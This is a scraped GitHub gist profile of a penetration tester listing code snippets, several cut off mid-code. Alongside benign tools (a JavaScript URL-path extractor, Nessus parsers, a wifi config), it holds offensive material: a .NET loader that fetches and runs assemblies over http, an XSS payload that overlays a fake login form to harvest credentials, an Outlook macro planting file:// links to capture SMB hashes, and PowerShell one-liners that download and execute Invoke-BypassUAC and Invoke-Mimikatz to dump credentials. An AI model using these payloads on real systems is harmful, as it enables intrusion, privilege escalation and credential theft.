Skip to content

Instantly share code, notes, and snippets.

View sdcampbell's full-sized avatar

Steve Campbell sdcampbell

View GitHub Profile
@sdcampbell
sdcampbell / gist:35398cb2e0263a11ba6c329c3b1d8e05
Last active August 1, 2023 14:01
Paste this into your browser developer console to print all URL paths found in all JavaScript loaded by the page.
javascript:(function(){var
scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\%27|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\%60))/g;const
results=new Set;for(var i=0;i<scripts.length;i++){var
t=scripts[i].src;""!=t&&fetch(t).then(function(t){return
t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of
e)results.add(r[0])}).catch(function(t){console.log("An error occurred:
",t)})}var
pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const
match of matches)results.add(match[0]);function
writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();
#!/usr/bin/env python3
import sys
#remove comments from PowerShell scripts
currently_code = True
with open(sys.argv[1], 'r') as readtest:
psup_contents = readtest.readlines()
with open(sys.argv[1], 'w') as removed:
@sdcampbell
sdcampbell / DynamicAssemblyLoader.cs
Last active February 5, 2023 19:49
Extended Bohop's DynamicAssemblyLoader to work with any .Net assembly loaded from http/s. The original project (https://github.com/bohops/DynamicDotNet/blob/main/assembly_loader/DynamicAssemblyLoader.cs) loaded an assembly from a hard-coded path on disk.
// DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions
// Author: @bohops
//
// "Normal" Implementation:
/*
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(obj, objArr);
*/
// Original author is @bohops

Keybase proof

I hereby claim:

  • I am sdcampbell on github.
  • I am lpha3ch0 (https://keybase.io/lpha3ch0) on keybase.
  • I have a public key ASBUgfWPX9nY7w38YlwyRtecEfL4RG0PhGL_Vr9hEZu9ZAo

To claim this, I am signing this object:

@sdcampbell
sdcampbell / creds.js
Created April 30, 2022 13:00
XSS payload
var html = `
<div id="bg" style="position: absolute; z-index: 100; width: 100%; height: 100%; background-color: #000000; opacity: 0.5; top: 0; left: 0; margin: 0">
</div>
<div id="form" style="position: absolute; z-index: 150; font-family: Arial; background-color: #ffffff; width: 280px; height: 185px; top: 50%; left: 40%; padding: 10px">
<p>An error occurred. Please login again.</p>
<form method="GET" action="https://127.0.0.1:443/">
<p>Username <input type="text" name="username"></p>
<p>Password <input type="password" name="password"></p>
<p><input type="submit" value="Login"></p>
</form>
# nmcli con add type wifi ifname wlp3s0 con-name work-wifi ssid work-ssid
# nmcli con edit id work-wifi
nmcli> set ipv4.method auto
nmcli> set 802-1x.eap peap
nmcli> set 802-1x.phase2-auth mschapv2
nmcli> set 802-1x.identity myusername
nmcli> set 802-1x.password mypassword
nmcli> set wifi-sec.key-mgmt wpa-eap
nmcli> save
nmcli> activate
@sdcampbell
sdcampbell / README.md
Created February 12, 2020 19:11 — forked from leonjza/README.md
goness - A golang Nessus XML parser for use in your shell pipeline

goness

A golang Nessus XML parser for use in your shell pipeline

examples

Just searching for "MS15":

$ goness -f exported_download.nessus | grep "MS15"
MS15-034: Vulnerability in HTTP.sys Could Allow Remote Code Execution (3042553) (uncredentialed check)|www|10.1.1.1:80
@sdcampbell
sdcampbell / nessus_http_parser.rb
Last active August 4, 2021 21:01
Extracts HTTP hosts and ports from a Nessus file and saves to files to be used with Aquatone
#!/usr/bin/ruby
require 'ruby-nessus'
require 'set'
file = ARGV[0]
if ARGV.length == 0
raise "Usage: #{$0} /path/to/file.nessus"
end
Sub HTMLMessage()
Dim objOutlookMsg As Outlook.MailItem
Dim message, title, defaultValue As String
Dim myValue As String
' prompt for user input.
message = "Enter SMB Tag(s)"
' Set popup box title.
title = "SMB Input Box"
defaultValue = "<img src='file://IPADDRESS/image/signature.jpg'><img src='file:\\IPADDRESS\image\signature.jpg'>"
' Prompt input box
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands